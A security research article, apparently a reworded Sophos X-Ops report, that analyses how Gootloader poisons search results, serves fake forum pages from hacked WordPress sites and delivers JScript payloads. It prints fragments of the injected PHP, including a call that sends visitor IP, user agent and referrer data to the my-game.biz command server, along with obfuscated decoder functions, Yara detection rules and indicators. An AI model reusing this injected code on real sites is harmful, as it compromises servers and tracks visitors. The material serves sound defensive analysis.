Gootloader from the Inside Out

The Gootloader malicious software family utilizes an identifiable form of social engineering to contaminate computers: The individuals behind it entice individuals to explore compromised, legitimate WordPress websites via hacked Google search results, sh

Gootloader inside out

The Gootloader malicious software family utilizes an identifiable form of social engineering to contaminate computers: The individuals behind it entice individuals to explore compromised, legitimate WordPress websites via hacked Google search results, show the visitors to such websites a simulated online forum, and connect the malware from a staged “conversation” wherein a fabricated visitor poses a query to a simulated site administrator that coincides with what the victim was seeking an answer to.

The majority of the infection process is powered by code operating on the compromised WordPress server and another server which we have formerly labeled “the mothership”, managing a sophisticated and intricate performance to dynamically construct a page that ostensibly resolves the precise query you’re inquiring about. The operators of Gootloader clandestinely modify the compromised WordPress sites to allow these sites to load additional content from the mothership.

Every element of this operation is concealed to such an extent that even the proprietors of the imperiled WordPress pages frequently cannot discern the alterations in their own site or activate the Gootloader code to execute when they access their own pages. Simultaneously, unless you manage one of the impacted WordPress sites, it may be quite challenging (if not unfeasible) to obtain this code to scrutinize it: The altered WordPress database entries and PHP scripts making up Gootloader are hosted solely on the compromised server, where security analysts usually cannot reach them (absent physical or shell access to the server, itself).

Sophos X-Ops has formerly disclosed various features of Gootloader. Nonetheless, Sophos X-Ops has reconstructed the functioning of Gootloader’s server-side operations, leveraging breadcrumbs and hints left by the threat actors (and by other security researchers) featured in open-source utilities across the internet. We have synthesized this cumulative knowledge into this analysis.

In this article, I will describe how I managed to reconstruct how the malicious SEO operates; how the landing page code on the initial, hacked website authenticates visitors prior to redirecting some to a secondary website; how the Gootloader operators leverage the second website to dynamically produce a convincingly realistic message board; how the multi-stage infection process operates; and how all of these components are orchestrated by a “mothership” server, overseen by Gootloader’s operators, to regulate who experiences attacks, and which visitors are rerouted back to Google’s homepage.

Gootloader’s Poisoned SEO

A list of Gootloader JScript filenames, which correspond to the search query that led victims to download them
A list of Gootloader JScript filenames, which correspond to the search query that led victims to download them

Gootloader has consistently practiced an almost unvaried malicious SEO technique for nearly eight years. During past threat searches, we relied on our proprietary data to discover the keywords Gootloader employed to serve a malicious JScript file: Gootloader customarily names these initial-stage files to match the search phrase that guided the victim into the snare.

Uncovering fresh designations for these initial-stage downloaders also signifies finding new phrases the Gootloader operators are employing as bait. It was VirusTotal’s active hunting and retrohunting services that steered us toward these revised payloads, notwithstanding the fact that Gootloader’s initiators apply code obfuscation to a near-absurd degree. We had to invent threat hunting queries, for example, the subsequent Yara rule:

rule gootkit_js_stage1
{
   strings:
          $a1 = /function .{4,60}{return .{1,20} % .{0,8}(.{1,20}+.{1,20});}/
          $a2 = /function [w]{1,14}(.{1,14},.{1,50}) {return .{1,14}.substr(.{1,10},.{1,10});}/
          $a3 = /function [w]{1,14}(.{1,50}) {return .{1,14}.length;.{1,4}}/
          $a4 = /function [w]{1,14}(.{0,40}){.{0,40};while ([w]{1,20} < [23][d]{3}) {/
          $b1 = /;WScript.Sleep([d]{4,10});/
          $b2 = /function [w]{1,14}(.{0,40}) {.{0,40};while([w]{1,20}<([w]{1,14}*[d]{1,8})){[w]{1,14}++}}/
   condition:
          all of ($a*) and any of ($b*)
}

Although this rule was efficacious at the moment of our investigation, Gootloader’s operators have since altered the JScript to render this search ineffective. To remain abreast of these developments, we needed to scrutinize newer versions of the greatly obfuscated JScript code.

As part of the obfuscation, the attackers fragment the code. Each fundamental function is executed within a distinct function, initially incorporating randomly generated variables, later transitioning to variable names picked from a lexicon.

In the preceding instance, $a1, $a2, and $a3 correspond to functions that undertook fundamental operations in the decryptor.

$a1 corresponds to the function evaluating the parity of a number, matching this obscured form:

function dance(expect,support,thin,foot,had){return expect % (magnet+magnet);}

$a2 corresponds to the function yielding a substring from a string, matching this obscured form:

function supply(spoke,seed,your,build,charge,carry,sat) {return spoke.substr(seed,your);}

$a3 calculates the length of a string, matching this obscured form:

function verb(consonant) {return consonant.length; }

$a4 implements the chief decoder loop: it contains the length of the encoded segment (ranging between 2000 and 4000 bytes), matching this obscured form:

function wave(down){against=kill;hole="";while (against < 2146) {spell=cause(down,against);hole=cool(hole,spell,against); against++; }return hole;}

The code introduces extended delays to complicate dynamic analysis, protracting the time required to execute the code accurately to numerous hours.

Initially, Gootloader utilized the WScript.Sleep function (matched by $b1) to instigate this delay. With time, Gootloader’s constructors replaced this with a less recognizable implementation (matched by $b2), like this function, which essentially increments a counter over a substantial duration:

function string2(evening6) {
        sky0=25;
        while(sky0<(evening6*4921)){
                sky0++
        }
}

Despite the protracted obfuscation of the code, comprehending its structure empowered us to conceive the ostensibly broad Yara rule above – which apprehended thousands of first-stage downloader scripts with no instances of false positives.

Subsequent to ascertaining the original file names, we identified the search terms. With these terms, we were able to locate the landing pages: The Gootloader operators skillfully altered the search results and the jeopardized landing sites,

to attain a higher ranking, reaching even the topmost position, such as the one demonstrated below:

Gootloader has poisoned search results in multiple languages, including German, French, and Korean
Gootloader has poisoned search results in multiple languages, including German, French, and Korean

How did the deceptive pages manage to secure a place at the peak of the search results?

Through scrutinizing the HTML source of the search landing pages, we unraveled the effectiveness of the deceptive SEO tactics.

An obscured component, identified by a server ID name, extensively embedded within the code (like a47ec48 in the subsequent instance). It commences with the alphabet ‘a’ followed by 6 hexadecimal characters:

<div id="a47ec48 ">
...
<div><script type="text/javascript"> document.getElementById("a47ec48 ").style.display="none"; </script>
Source of the Gootkit/Gootloader landing pages reveal a number of different search terms and phrases the threat actors wanted search engines to index. The linked subpages (selected with green) don't actually exist. The injected WordPress code defines a few hooks, one of them is for non-existing pages. This will serve the fake forum discussion, when the victim clicks on the search result
Source of the Gootloader landing pages reveal a number of different search terms and phrases the threat actors wanted search engines to index. The linked subpages (selected with green) don’t actually exist. The injected WordPress code defines a few hooks, one of them is for non-existing pages. This will serve the fake forum discussion, when the victim clicks on the search result

This concealed element contained hyperlinks (highlighted in green) and corresponding targeted search terms (highlighted in brown):

The hidden aspect remains imperceptible to human visitors of the web page. However, it is detected and processed by search engine crawlers, deceiving search engines into perceiving the website as a source of pertinent content related to the corrupted search term, consequently elevating the site in the search rankings.

Exploited webpage scripting

When the cybersecurity provider Sucuri detailed in a blog article regarding a prior version of Gootloader, it displayed this snapshot:

 A screenshot of the source code from a Gootkit/Goodloader landing page. Image courtesy of Sucuri Research.
A screenshot of the source code from a Gootkit/Goodloader landing page. Image courtesy of Sucuri Research.

The report (and image) exposed three promising sequences:

  • The request: $_GET[‘a55d837’
  • A malevolent internet domain name: ‘my-game[.]biz’
  • A SQL query (displayed in another image on Sucuri’s blog): ‘SELECT * FROM backupdb_’

A search on Google for the code snippet $_GET[‘a55d837’ steered us towards a digital decoder website, where the outcome (currently erased) of a different researcher’s inquiry divulged the encoded form of the PHP script utilized in the malicious webpage:

function qwc1() {
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["x52105x4d117x54105x5f101x44104x52"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("x53105x4c105x43124x20105x58111x53124x5340x28123x45114x45103x5440x2a40x46122x4f115x20142x61143x6b165x70144x62137".$table_prefix.
                "x6c163x74141x7440x57110x45122x4540x77160x2075x2047".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "x2751x3b") == 1) {

and the decoded rendition of that corresponding script:

function qwc1() {
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["REMOTE_ADDR"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("SELECT EXISTS (SELECT * FROM backupdb_".$table_prefix.
                "lstat WHERE wp = '".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "');") == 1) {

Though the origin of this script on the website remains ambiguous, the online realm has an enduring memory: Search engines stumbled upon and indexed this breakdown. This initial insight delineated what the malevolent code within the compromised landing pages would resemble.

(Both the indicated analysis above, and another page subsequently located on malwaredecoder.com, were subsequently removed by their respective owners. Search outcomes disclosing transient analysis pages like these have a limited availability window. If you intend to reference source materials from such sites, preserve an offline version of the page, as they may vanish upon your return.)

By this stage, the precise method of the site compromises was unknown, yet the report indicated that harmful PHP script was somehow integrated into the WordPress setup.

The search on Virustotal for content:”SELECT * FROM backupdb_” produced a couple of files from a breached server harboring an error note:

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [Table 'interfree.backupdb_wp_lstat' doesn't exist]<br /><code>SELECT EXISTS (SELECT * FROM backupdb_wp_lstat WHERE wp = '117|50|2');</code></p></div><!DOCTYPE html>

The culprits are presumably exploiting the database backupdb_wp_lstat, a component likely removed from the server

Amid a cleanup activity, we conducted a search on VirusTotal to locate the desired content using the search term: content:”backupdb_wp_lstat”. Our hope was to chance upon a database dump. Establishing these rules and performing additional retrohunts is always advisable as they might uncover other valuable files or data.

Fortunately, we came across an archive file that held a SQL dump of the WordPress database retrieved from a compromised server on a public malware repository.

The WordPress database dump included this table that contains a set of the first three octets of IP addresses, a block list of IP ranges that cannot revisit the Gootloader website on the same day
The WordPress database dump included this table that contains a set of the first three octets of IP addresses, a block list of IP ranges that cannot revisit the Gootloader website on the same day

Within the dumped database, there exists a table named backupdb_wp_lstat. Upon further analysis, it was revealed that this table hosts the IP address blocklist utilized by the nefarious website to deter repeat visits.

The database dump also exposed obfuscated PHP code:

A block of base64-encoded data stored as a variable named $pposte in a WordPress database
A block of base64-encoded data stored as a variable named $pposte in a WordPress database

—along with the injected SEO poisoning content, highlighted by the j$k..j$k marker:

Malicious SEO content phrases embedded in a WordPress database table, linking the site to an Excel spreadsheet converter search query
Malicious SEO content phrases embedded in a WordPress database table, linking the site to an Excel spreadsheet converter search query

For researchers interested in scouring through the Descriptions property of the malicious landing pages for this distinctive string, they can utilize the regex /j$k([0-9]{1,10})j$k/

The "place marker" string appears in the OpenGraph metadata SEO headers of a Gootkit/Gootloader-modified web page
The “place marker” string appears in the OpenGraph metadata SEO headers of a Gootloader-modified web page

This particular mark denotes the position where Gootloader’s link to the page renderer script is inserted. When the Gootloader page loads, the marker is excluded from the page source.

Nevertheless, the code retrieved from the SQL database dump slightly differed from what was displayed in the Sucuri blog. We expanded our search, focusing on the C2 server my-game[.]biz, and discovered several PHP files referring to that server:

Files that contain references to the Gootloader "mothership" website (screenshot courtesy of VirusTotal)
Files that contain references to the Gootloader “mothership” website (screenshot courtesy of VirusTotal)

The submission under the name commented_functions.php seemed promising. Indeed, it appeared to be the work of a researcher deeply examining the PHP source code from the compromised WordPress setup. This was extensively documented, saving us ample analysis time (which was particularly useful as we did not have all the components).

Written comments with double slashes detail the specific traits of Gootkit found in altered web pages
Written comments with double slashes detail the specific traits of Gootkit found in altered web pages

Via the encoded base64 string noted in the preceding “html” remark, we conducted a search on VirusTotal, leading us to a fairly recent SQL dump.

VirusTotal contains a dump of a WordPress database
VirusTotal contains a dump of a WordPress database

The dump file housed the aforementioned base64 blob…

 A SQL dump from a compromised WordPress installation contains base64-encoded elements of the Gootkit/Gootloader modifications
A SQL dump from a compromised WordPress installation contains base64-encoded elements of the Gootkit/Gootloader modifications

…which, upon decoding, resulted in identical code as initially disclosed by Sucuri:

The decoded base64 data from the WordPress database reveals the PHP script that handles decoding the malicious content for a site visitor
The decoded base64 data from the WordPress database reveals the PHP script that handles decoding the malicious content for a site visitor

Having this knowledge, we harbored more confidence in the origin of this malicious script. Moreover, we pinpointed the table within the compromised WordPress database where Gootloader persists it. By discovering the dump of the WordPress database and the PHP script on the web-based decoding tool, we have a full duplicate of the malicious content residing on the compromised landing pages.

What’s concealed in the landing page script?

This script encompasses a straightforward PHP command shell, a tool employed by Gootloader attackers to retain control of the compromised pages.

The variable $pposte contains the parameter name for execution. Should the compromised site receive an HTTPS POST request with that specific string, the script will decode and execute any base64 encoded commands, molding into a basic command shell for the attackers to manage the server:

A simple command shell Gootkit inserts into the PHP running in a WordPress site the threat actors have compromised
A simple command shell Gootloader inserts into the PHP running in a WordPress site the threat actors have compromised

Elsewhere in the script, there are WordPress event filters defined, triggering specific functions under predefined conditions.

For instance, once the attackers establish the compromised WordPress environment, the subsequent function (mentioned as “qvc5”) commences the backupdb_wp_lstat database table setup.

    add_action("wp", "qvc5");

This segment from the qvc5() function initializes the backend databases utilized by Gootloader:

if ($table_prefix < > "backupdb_".$qvc4) {
    $table_prefix = "backupdb_".$qvc4;
    wp_cache_flush();
    $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
    $qvc5 - > set_prefix($table_prefix);

While preparing the requested web page, the malicious event handler attachments prepare the request to the central management site, named the “mothership” (my term for the website Gootloader operators centrally manage their array of corrupted blogs). This communication encodes in base64 and forwards various parameters of the initial request to the mothership:

  • a: Distinct server ID
  • b: IP address of the visitor, unaware of the intrusion
  • c: User agent
  • d: Referrer details
if (isset($_GET[$qwc4])) {
   $request = @wp_remote_retrieve_body(@wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]).
'&b='.base64_encode($_SERVER["REMOTE_ADDR"]).
    '&c='.base64_encode($_SERVER["HTTP_USER_AGENT"]).
    '&d='.base64_encode(wp_get_referer()), array("timeout"=> 120)))

One of the most concerning behaviors exhibited by Gootloader is its restriction that allows a potential target to access the website only once within a 24-hour timeframe. It enforces this limitation by including the originating IP address of the communication (reflected as the victim PC's address, represented as 'b' above) on a block list. Moreover, the server confines IP address ranges and solely permits requests to initiate from specific countries that are of interest to the Gootloader threat actor. The referrer string ('d' above) comprises the original search terms.

Consequently, a sample query would resemble the following:

http://my-game.biz/index.php?a=YWFkZTVlZQ&b=ODUuMjE0LjEzMi4xMTc&c=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC4xNTAgU2FmYXJpLzUzNy4zNg&d=Z29vZ2xlLz9xPWNpc2NvX3dwYV9hZ3JlZW1lbnQ

(Here, in this illustration, the "&d=" referrer string actually represents the base64-encoded value of "google/?q=cisco_wpa_agreement")

Later on, we will observe that the server's reply will consist of the fabricated forum page renderer code.

The crafted forum page is dispatched by the main source

The response from the main source is divided into two sections: one comprises the HTML header components, while the other section contains the content of the page body. These two parts are separated by a <sleep> tag within the code.

The header segment includes various elements that are segregated by pipe ("|") characters. Using the input received from the main source, the landing page script establishes the HTML content:

The segment of the Gootkit code responsible for assembling the HTML content of the bogus page that will subsequently overlay the compromised website
The segment of the Gootkit code responsible for assembling the HTML content of the bogus page that will subsequently overlay the compromised website

The script appends the entire /24 IP address range from where the request originated to a block list lasting 24 hours. For the next day, neither the originating device nor any other devices having the same initial three sets of numbers in their IP address can view the page again. (This was previously observed in the SQL database dump):

 The Gootkit code prevents recurrent visitors by adding not only the visitor's IP address range to a block list, but also the complete class C IPv4 address range on both sides of the visitor's address, as an additional measure
The Gootkit code prevents recurrent visitors by adding not only the visitor’s IP address range to a block list, but also the complete class C IPv4 address range on both sides of the visitor’s address, as an additional measure

The method by which Gootloader presents the fake forum page

If the request originates from an IP address not on the block list, the malicious code within the compromised WordPress database proceeds to take action by delivering the deceptive message board content (usually titled as "Questions And Answers") to the visitor's browser.

The Gootkit/Gootloader counterfeit forum page, depicting a “question” and an “answer” that direct to the Gootloader JScript initial payload
The Gootloader counterfeit forum page, depicting a “question” and an “answer” that direct to the Gootloader JScript initial payload

The sole visible suspicious inclusion in the source code of a compromised landing page is a straightforwardly inserted JavaScript tag. For instance:

https://powerstick.com/main/?ad94610=1174868

Here, once more, the distinct key representing the infected server is utilized as a parameter assigned to a numerical value (1174868 in the example above):

The unique key is attached in a Javascript code snippet embedded within the compromised WordPress server page.
The unique key is attached in a Javascript code snippet embedded within the compromised WordPress server page.

This <script> tag then triggers the landing page renderer function from the code stored in the WordPress database.

If the HTTPS GET request carries a query string that includes the infection ID, the handler code initiates a request to the mothership and processes the response.

We retrieve the code that the mothership sends by capturing the phony landing page's HTML source and using a web debugger to record the dynamic alterations.

Initially, it eliminates the original content of the HTML page:

A series of instructions that removes the initial page content on the compromised WordPress server where the visitor arrives
A set of commands that removes the original page content on the compromised WordPress server where the visitor arrives

…substituting it with fabricated forum text…

The substituted content features the text from the 'Questions And Answers' faux forum page
The substituted content includes the text from the "Questions And Answers" faux forum page

…which also includes the link for downloading the initial stage JScript payload:

The download connection directs to a php script located on a separate server. This connection provides the .js file compressed in a Zip file containing the primary Gootloader payload
The download connection points to a php script hosted on a different server. This connection delivers the .js file packed into a Zip archive that includes the initial Gootloader payload

The outcome will simulate a discussion in the blog comments where an individual "inquires" a question identical to the search term received from the Google referrer text, a "reply" is visible from a user account named Admin with the search term linked to the initial stage JScript downloader, and a subsequent "response" from the same "user" who initially "asked," expressing gratitude to the admin who "answered."

The entire dialogue is fictional, following this structure in each Gootloader occurrence.

A Gootkit/Gootloader fabricated forum page in German. The source code of the page indicates that the link directs to a file named down.php on a completely different server than where the page is located. The highlighted link connects to the server hosting the initial-stage download JScript.
A Gootloader fabricated forum page in German. The source code indicates the link directs to a file named down.php on a completely different server than where the page is located. The highlighted link will connect to the server hosting the initial-stage download JScript.

The initial-stage download website

The pretend forum page connects to the initial stage download server, where a PHP script provides the initial stage JScript downloader script.

(We obtained a version of this script from another researcher in the cybersecurity community, who prefers to remain unidentified, under TLP:Red restrictions. Although we are unable to deploy the script in this blog post, we can utilize attributes of the script to search for similar instances.)

On the server end, this file is embedded as a large Base64-encoded data blob, starting with the following text:

<?php $a=base64_decode('ZnVuY3Rpb24...

This allows us to seek out similar scripts using this Yara rule:

rule gootkit_stage1_dl{
   strings:
          $a = "<?php $a=base64_decode('ZnVuY3Rpb24"
    condition:
          all of them
}

This approach revealed several other variations of the script, differing primarily in the download URL:

We noticed two main server addresses, 5.8.18[.]7 and my-game[.]biz, in the samples we examined. At the time of our initial investigation, the my-game domain resolved to that IP address (though it now resolves elsewhere). Curiously, the compromised landing page code directs to the domain, while the initial stage JScript downloader directs to the IP address.

The initial stage download script (down.php or join.php or about.php or index.php) merely forwards the incoming request to the main server:

The source code of the PHP script that deploys the initial stage Gootloader payload
The source code of the PHP script that deploys the initial stage Gootloader payload

The request sent to the main server will retrieve the initial-stage downloader JScript packed in a Zip archive. This process maintains the originalreferrer line all the way to the main hub, it will obtain the original search keywords, and can send back a payload with a file title corresponding to these search terms, which is what has been observed to occur.

How Gootloader infiltrates WordPress servers

Nearing the conclusion of our initial investigation, we stumbled upon a crucial piece of information regarding the probable source of the initial breach of the hosting WordPress servers. As we collect more data, it's beneficial to revisit prior investigation, which could unveil connections that were previously unknown.

The report details an assault where perpetrators implanted an altered version of the Hello Dolly extension in the WordPress uploads folder (e.g. wp-content/uploads/), which they then utilized to trigger the installation of the malevolent WordPress content.

HelloDolly.php has been a standard extension, provided with the WordPress self-hosted download, for numerous years. Nonetheless, tampering with this code in a relatively harmless extension, and keeping it intact on the compromised server, enables Gootloader to operate openly while reducing the file system alterations that might expose a breach to a vigilant web administrator.

There are various methods through which an adversary may be able to embed a file into a WordPress site: The access details for the web server might have been phished or stolen; a WordPress component might have had a vulnerability that allowed remote users to execute SQL injection or command execution attacks on the host server; the administrative WordPress passcode might have been stolen.

In this scenario, the report showcases a screenshot:

Screenshot of the modified HelloDolly.php script (courtesy of the Rich Infante blog)
Screenshot of the modified HelloDolly.php script (courtesy of the Rich Infante blog)

We examined VirusTotal for more of such files:

content:"dolly_css"

While we discovered numerous pure, original versions of the HelloDolly.php file…

  • 2c5717200729f76b857a8a32608b72fd3c15772dfcc607bebfc3b36f8ab2a499
  • 2c3d2a55349efe8b636350b58181d930a73e0d0ede59dcaadc47d9a56dd15127

…we located many more instances where the illicit code had been inserted…

  • 03a46ad7873ddb6663377282640d45e38697e0fdc1512692bcaee3cbba1aa016
  • 1fcc418bdd7d2d40e7f70b9d636735ab760e1044bb76f8c2232bd189e2fd8be7
  • 258cb1d60a000e8e0bb6dc751b3dc14152628d9dd96454a3137d124a132a4e69
  • 5d50a7cf15561f35ed54a2e442c3dfdac1d660dc18375f7e4105f50eec443f27
  • 7bcffa722687055359c600e7a9abf5d57c9758dccf65b288ba2e6f174b43ac57
  • af50c735173326b2af2e2d2b4717590e813c67a65ba664104880dc5d6a58a029

…and we also stumbled upon a few Zips that contained complete copies of compromised WordPress installations:

  • 89672c08916dd38d9d4b7f5bbf7f39f919adcaebc7f8bb1ed053cb701005499a

Here, the malevolent HelloDolly PHP script is integrated as a WordPress extension under the directory:

wp-contentpluginsHello_DollyHelloDolly.php
Another format of the modified HelloDolly.php script shows the unique identifier string
Another format of the modified HelloDolly.php script shows the unique identifier string

The malevolent PHP files display the supplementary code, in addition to the original Hello Dolly lyrics. An injected code will scrutinize the POST request for specific parameters, and if detected, will execute the submitted installation code.

A variation on the modified HelloDolly.php script
A variation on the Gootloader-modified HelloDolly.php script

We unearthed other variations where the $dolly variables are changed to $wp

The analysis blog post summarizes the procedure in this manner:

A screenshot that summarizes the modification process Gootloader uses (image courtesy of the Rich Infante blog)
A screenshot that summarizes the modification process Gootloader uses (image courtesy of the Rich Infante blog)

We uncovered these components in the SQL database dumps, providing us with sufficient assurance to confirm that this was (at least) one method the intruders exploited to compromise these legitimate WordPress sites in order to convert them into distribution servers.

A WordPress database dump includes the identical elements highlighted in the Rich Infante blog
A WordPress database dump contains the same elements that the Rich Infante blog references

Connecting to the primary source

The central function of the primary server revolves around coordinating the initial phases of the infiltration procedure: It furnishes the fabricated forum content exhibited on the compromised websites in the victim's browser, along with the primary stage payload.

Regrettably, as this has been upheld on a server managed directly by the malevolent actors, any underlying code it might comprise remains out of reach for researchers.

Alarmingly, from the time Gootloader first emerged in 2018, it has utilized the identical domain, and for a significant portion of that period, the domain directed to many of the same IP addresses.

5.8.18[.]7

For numerous years, the my-game[.]biz domain resolved to this IP address. Numerous of the malicious scripts point directly to URLs stored on this IP address to distribute components of the infection.

Identified URLs:

http://5.8.18[.]7/filezzz.php

The initial components of the infection are files identified as Gootkit. Typically, they are merely PHP scripts containing a base64-encoded sequence and a script to decipher the data and send it to a variable, like this file (referred to variably as join.php or down.php).

The encoded version of a PHP script that dispenses the .js payload
The encoded form of a PHP script that delivers the .js payload

We could also identify several Gootkit files that point to, or reference, this IP address, including this script, and this script. Both of these files contain error messages related to the inability to fully retrieve a component.

A snapshot of a document uploaded to VirusTotal indicates connections to the IP address formerly utilized to host the Gootkit/Gootloader ‘mothership’ server
A screenshot of a document uploaded to VirusTotal reveals references to the IP address formerly utilized to host the Gootkit/Gootloader “mothership” server

Interestingly, the server-side downloader script was titled file_tmp_41.php, unlike the customary downloader scripts observed. This could suggest that this script was a byproduct of experimentation.

If we extrapolate from this data and (for instance) explore VirusTotal for content:” . The output presents further files, both containing a URL we've previously discussed:

http[:]//5.8.18.7/filesst.php?a=$i&b=$u&c=$r&d=$h&e=$g

5.8.18[.]159

This was another location to which my-game[.]biz has previously pointed. We found yet another initial-stage Gootkit component that directly links to this IP address.

91.215.85[.]52

Another IP utilized to host my-game[.]biz and still does so. We identified another initial-stage Gootkit script that connects to this IP address.

my-game[.]biz

The website is presently empty, but the Internet Archive uncovers a noteworthy history for this domain: In 2014, it was serving as the home to a Russian online betting platform. Starting from 2018, the page has featured no other content except for its association with the Gootkit/Gootloader malware.

The my-game website during its 2014 iteration, a gambling platform in Russian called “Casino Game Life”
The my-game website during its 2014 iteration, a gambling platform in Russian called “Casino Game Life”

The only other known association to this domain was a community directory dedicated to Counter-Strike clans, dating back over fifteen years.

The web domain where the Gootkit/Gootloader mothership is housed originally belonged to a German team that played Counter-Strike competitively
The domain hosting the Gootkit/Gootloader mothership was initially owned by a German team involved in competitive Counter-Strike gaming

According to the directory, this website is listed as the central hub for a collection of "semi professional" gamers from Germany who competed under the alias #mY-GaMe.

Name:     #mY-GaMe
Clan-Tag (Abbreviation):     #mY-GaMe`
Country (Clan HQ):   Nationwide, Germany
Location (Clan HQ):    Nationwide, Germany
Leader:   pr0nb1tch
ICQ#:     256558686
Homepage: http://www.my-game.biz
Number of Players:    10
Type of Game Modes:     Leaguez
Clan Profile:    Semi-Professional Clan
Clan Looking for New Players:      Yes
Leader: kevin.goe@online.de


A Wealth of Open-Source Intel

Gootloader's infection technique appears to be deliberately complex, aiming to thwart researchers' efforts to comprehend its functionality, keeping it among the most malicious and challenging threats online.

In spite of most of its code residing and executing within external WordPress servers, the abundance of online analysis tools offers ample opportunities to unravel the workings of the malware and understand how its loader deploys payloads. Through the shared contributions of various analysts and researchers, a comprehensive understanding of the infection's PHP scripts, embedded JavaScript elements, and downloadable JScript payloads has been achieved. Despite this knowledge, the malware remains impactful over six years since its initial detection. Thankfully, due to the sluggish pace of its development and the stable hosting of its "mothership" server, both static and dynamic detections remain effective.

A helpful tip on collaborative research endeavors is to foster relationships with the malware analysis and security research community. In this project, multiple researchers offered invaluable aid, some preferring to remain anonymous. If engaged in such work, it's advised to share findings without hesitation; the collaborative effort with industry colleagues tends to yield benefits when seeking information. Gratitude is extended to the individuals who provided support and assistance.

Special Thanks

Sophos X-Ops extends gratitude to Marv Ahlstrom, an SEO specialist who provided guidance on various aspects of Gootloader/Gootkit's malicious SEO. Credits are also attributed to the anonymous researchers going by the aliases @sS55752750, @SquiblydooBlog, and @GootLoaderSites for their support. Appreciation is shown for the prior research published by Sucuri and Rich Infante. The analysis was contributed by X-Ops researcher Andrew Brandt.

Signs of Compromise

The hashes and other IOCs referenced in this account are detailed on the SophosLabs Github repository.

About Author

Subscribe To InfoSec Today News

You have successfully subscribed to the newsletter

There was an error while trying to send your request. Please try again.

World Wide Crypto will use the information you provide on this form to be in touch with you and to provide updates and marketing.